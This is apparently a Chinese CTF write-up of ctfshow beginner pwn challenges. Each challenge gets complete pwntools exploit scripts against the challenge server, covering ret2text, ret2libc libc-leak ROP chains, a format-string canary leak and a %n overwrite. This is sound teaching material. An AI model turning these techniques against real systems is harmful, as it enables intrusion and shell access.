ctfshow-pwn新手系列

前言

十幾天沒發文了,都在寫這篇文章,我也不知道爲啥我要學pwn,當初是準備學彙編的,走上了不歸之路,嗚嗚嗚

pwn簽到題

nc 連上就有flag

pwn02

一個簡單的ret2text
首先看main函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-kg9efLcG-1592106179852)(media/15913219910849/15913278925305.jpg)]
那麼接着跟到pwnme函數
可以看到buf只有9個字節
而fgets讀入了50個字節,所以就導致了棧溢出
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lYdEJI6z-1592106179853)(media/15913219910849/15913279512688.jpg)]
這是個32位的程序所以ret地址一般是ebp+4
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-AJ9qcW5Q-1592106179854)(media/15913219910849/15913281054258.jpg)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-BPmSmxGL-1592106179856)(media/15913219910849/15913281598179.jpg)]
看到stack函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-zIRdMwwQ-1592106179857)(media/15913219910849/15913282296719.jpg)]
地址
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3YpEgscV-1592106179857)(media/15913219910849/15913282067644.jpg)]
故exp爲
exp:

from pwn import *
#p = process("./pwn1")
p = remote("111.231.70.44",28010)
p.recv()
payload = b"A"*(0x9+4) + p32(0x0804850F)
p.send(payload)
p.interactive()

pwn03

tips:ret2libc3
checksec
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-A1PqKvu7-1592106179858)(media/15913219910849/15914168802046.jpg)]
棧不可執行
看到main函數
在這裏插入圖片描述
跟進pwnme函數
在這裏插入圖片描述
這裏s只開闢了9個字節,而fgets函數讀入了0x64個字節
所以這裏存在棧溢出,接着就需要找到system函數的地址了
在這裏插入圖片描述
很明顯這裏沒有system函數
在這裏插入圖片描述
搜索字符串沒有/bin/sh字符串,也沒有$0
這個時候就涉及到plt表和got表了
程序執行後,plt表裏是got表的地址,got表是函數的真實地址
程序還未執行時,got表裏還是plt表的地址
我們需要泄漏got表裏的地址,由於開啓了ASLR,本地和遠程的地址不一樣
但也只是針對於地址中間位進行隨機,最低的12位並不會發生改變
也就是我們需要獲取到遠程環境的函數的真實地址
進而判斷libc的版本,計算泄漏的函數got表的地址與system的偏移,然後獲取到system函數的真實地址,進而計算system函數與/bin/sh的偏移,最終getshell
所以我們首先exp的構造
首先棧溢出,利用puts函數的plt表的地址,泄漏puts函數的got表中的函數的真實地址,然後返回地址填寫main函數重新跳轉回來

from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))

在這裏插入圖片描述
這就是爲啥最後需要接受兩個\n\n的原因
u32是將字符轉換爲小端序
當我們知道了puts函數的真實地址之後就可以根據後三位判斷libc的版本
在這裏插入圖片描述
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Y69CLkOx-1592106179862)(media/15913219910849/15916241455336.jpg)]
那麼我們繼續構造exp
首先求得libc基地址

libcbase = get_addr - 0x067360 #上圖所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()

完整exp:

from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360 #上圖所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()

pwn04

格式化字符串漏洞泄露canary,然後棧溢出getshell
首先checksec
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-RwBko3Rd-1592106179862)(media/15913219910849/15914073120735.jpg)]
棧不可執行,canary都開了
canary:
用於防止棧溢出被利用的一種方法,原理是在棧的ebp下面放一個隨機數,在函數返回之前會檢查這個數有沒有被修改,就可以檢測是否發生棧溢出了。
main函數:
在這裏插入圖片描述
vuln函數:
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-IpGvb1Ai-1592106179863)(media/15913219910849/15914086015641.jpg)]
可以看到v2就是我們輸入的值
ebp-0ch就是canary
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Rhk7NPtv-1592106179863)(media/15913219910849/15914086295993.jpg)]
可以看到這裏將canary給了eax
所以我們可以通過canary賦值給eax然後下斷點,來得到canary的值
首先 b printf在printf函數這裏下個斷點
b *0x080486C9 canary賦值之後下個斷點
在這裏插入圖片描述
printf的地址爲0xffdd350
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FIDyexnO-1592106179864)(media/15913219910849/15914117997720.jpg)]
canary的值也就是ebp-0ch
在這裏插入圖片描述
查看printf的地址
發現eax 0x1c741800的偏移爲31,所以可以構造canary的值爲%31$x
而我們canary的值是由v2賦值而來的,所以計算v2與v3的偏移即可
0x70-0xc=0x64=100
現在我們覆蓋了canary的地址,離ebp還有0x8個字節,所以覆蓋返回地址的話也就是0xc個字節也就是12,最後覆蓋返回地址到getshell函數的地址即可getshell

from pwn import *
#p = process("./ex")
p =remote("111.231.70.44",28097)
p.recv()
leak_canary = "%31$x"
p.sendline(leak_canary)
canary = int(p.recv(),16)
print(hex(canary))
getshell = b"a" * 100 + p32(canary) + b"b" * 12 + p32(0x0804859B)
p.sendline(getshell)
p.interactive()

在這裏插入圖片描述
遇到這個問題的話,把exp多運行幾次

pwn05

ret2text
checksec 32位
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-R9pD7ZJd-1592106179866)(media/15913219910849/15913569925315.jpg)]
看main函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-kt35H5KB-1592106179866)(media/15913219910849/15913570027547.jpg)]
welcome函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8SbHf4EQ-1592106179866)(media/15913219910849/15913574199202.jpg)]
buf只有0x14個長度
而gets函數想讀多少讀多少,典型的棧溢出
控制返回地址ebp+4
而這裏有個getFlag函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-TmQv0CgW-1592106179867)(media/15913219910849/15913579970077.jpg)]
getshell
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-NS9NUWOT-1592106179867)(media/15913219910849/15913580225819.jpg)]
要覆蓋:
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-6lLp1SBU-1592106179867)(media/15913219910849/15913582729877.jpg)]
0x14個字節
exp:

from pwn import *
p = remote("111.231.70.44",28094)
payload = b"A"*(0x14+4) + p32(0x8048486)
p.send(payload)
p.interactive()

pwn06

這個就是pwn05的64位版本,所以需要平衡堆棧
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-iJ8J8A00-1592106179868)(media/15913219910849/15913589900911.jpg)]
原理都差不多
main函數之後看到welcome函數,然後找到system("/bin/sh")的地址
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-VtiiUJXj-1592106179868)(media/15913219910849/15913612377873.jpg)]
exp:

from pwn import *
p =remote("111.231.70.44",28086)
payload = b"a" * 0x14 + p64(0x40058E) + p64(0x400577)
p.send(payload)
p.interactive()

pwn07

checksec
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-K6EJQ8hB-1592106179868)(media/15913219910849/15916248052561.jpg)]

原理和pwn03大同小異
只是64位程序是由寄存器傳參,分別是rdi,rsi,rdx,rcx,r8,r9(當參數小於7個時),所以我們需要一個gadget,pop rdi;ret
然後payload的構造和32位也不一樣

判斷libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判斷libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

exp:

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./ret2libc3')
p = remote('111.231.70.44',28030)
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00000000004006e3
main = elf.symbols['main']
payload = b'a'*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil('\x0a')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
ret_addr = 0x00000000004006E4
libcbase = puts_addr -  0x0809c0
system_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
payload = flat([b'a'*20,ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
p.interactive()

01棧溢出之ret2text

又是一個簡單的棧溢出
不過是64位的
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-uGv8Dppw-1592106179869)(media/15913219910849/15913481851584.jpg)]
所以通常來說返回地址都是rbp+8
首先看到main函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-NUXpPsx8-1592106179870)(media/15913219910849/15913482346492.jpg)]
跟進welcome函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-vFL5fk8w-1592106179870)(media/15913219910849/15913483658648.jpg)]
雖然是說buf的大小爲0x80但是呢,我們還是自己動手試下
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Urm9Eqkv-1592106179870)(media/15913219910849/15913485426121.jpg)]
看來ida沒錯
然後ctfshow這個函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-6mIRCwjb-1592106179871)(media/15913219910849/15913485708915.jpg)]
那麼很簡單,直接上exp

from pwn import *
#p = process("./pwn2")
p = remote("111.231.70.44",28049)
payload = b"A"*(0x80+8) + p64(0x040063B)
p.send(payload)
p.interactive()

爲什麼這麼寫呢,因爲這裏要考慮到堆棧平衡,由於調用到ctfshow這個函數[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-XYPqdKCm-1592106179872)(media/15913219910849/15913553782851.jpg)]
這裏首先push了一個rbp,所以rsp-8了,因此要考慮到堆棧平衡,這裏可以跳過這個地址,或者ret一下,先彈出棧頂的值然後給eip,這不重要,重要的是ret的時候改變了棧頂的結構也就是rsp-8了,後面push ebp的時候堆棧平衡了,故可以getshell

pwn10

格式化字符串漏洞
checksec
在這裏插入圖片描述
32位,棧不可執行
看到main函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-hRQmaYch-1592106179872)(media/15913219910849/15921044375395.jpg)]
一個很明顯的格式化字符串漏洞
目的是使num=16,從而cat flag
gdb調試
在scanf函數處打個斷點
b *0x080485C1
r
輸入
AAAA
stack 24
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-UBGRLpTb-1592106179873)(media/15913219910849/15921049266090.jpg)]
可以看到偏移爲7
printf的第n+1個參數就是格式化字符串的第n個參數
(空行的地方也算)
我們知道%n可以寫入輸出的字符長度的個數
%<number>$n可以修改第number個參數的值
所以這個地方我們構造%7$n
由於需要num=16,所以在我們寫入地址的4個字節除外我們還需要寫入12個字符
exp:

from pwn import *
context.log_level='debug'
p = remote('111.231.70.44',28064)
#p = process('./pwn')
#num_addr = 0x0804A030
payload = p32(0x0804A030) + cyclic(12) +b"%7$n"
p.send(payload)
p.interactive()

後言

本文只是個人的一個見解,定有所紕漏,希望讀者發現錯誤之後能及時指出,以免誤導了pwn萌新入門,點贊評論支持將是我最大動力。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章